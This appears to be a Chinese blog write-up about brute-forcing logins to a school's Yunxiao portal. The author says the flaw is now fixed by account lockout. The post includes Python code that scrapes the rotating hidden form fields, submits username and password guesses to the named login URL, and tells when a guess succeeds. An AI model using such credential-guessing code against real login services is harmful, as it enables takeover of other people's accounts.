云校密码爆破#2(已修复)

云校密码爆破#2(已修复)

2014.12.23更新:云校新功能:登录失败次数过多后将账号冻结30分钟,导致已无法利用

注:文中代码均使用Python语言

云校在将登录改为https的同时,也把登录表单改了一下,每回表单中的隐藏域lt和execution都会变,并且看样子都是随机数。但是检查一下cookie后发现,貌似验证cookie没关系,可以试试每次发请求后读取隐藏域lt和execution一次。

第一次
刷新后
首先发空请求并读取隐藏域

url = "https://passport.yunxiao.com:8445/login?service=http://bnds.joyschool.cn/Portal/LayoutD/CasLogin.aspx?ax=1"
request = urllib2.Request(url)
response = urllib2.urlopen(request)
content = response.read()
pattern = re.compile(r'.*?<input type="hidden" name="lt" value="(?P<lt>[^<>].*?)" />.*?<input type="hidden" name="execution" value="(?P<execution>[^<>].*?)" />.*?"',re.I|re.S)
match = pattern.match(content)
lt = match.group('lt')
execution = match.group('execution')


之后根据读取的隐藏域构建一个服务器接受的请求

data = "username=" + username + "&domain=bnds&password=" + password + "&lt=" + lt +"&execution=" + execution + "&_eventId=submit&submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95" 
request = urllib2.Request(url) 
response = urllib2.urlopen(request, data=data) 
content2 = response.read() 
pattern = re.compile(r'.*?<input type="hidden" name="lt" value="(?P<lt>[^<>].*?)" />.*?<input type="hidden" name="execution" value="(?P<execution>[^<>].*?)" />.*?"',re.I|re.S) 
match = pattern.match(content2) lt = match.group('lt') 
execution = match.group('execution') 
pattern = re.compile(r'.*?<form id="form1" action="(?P<url>[^<>].*?)" method="post">.*?',re.I|re.S) 
match = pattern.match(content2)


之后发现提交的密码是正确的也会返回登录界面,但是仔细观察后发现,和一开始登录的表单有一个区别,就是表单的action变了,后面加上了cookie

第二次请求

再读取一下隐藏域和action之后重新提交,如果密码正确的话会返回

正确后返回

由于没有验证码,所以可以暴力破解。
判断是否存在/Portal/LayoutD/Login.aspx即可

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据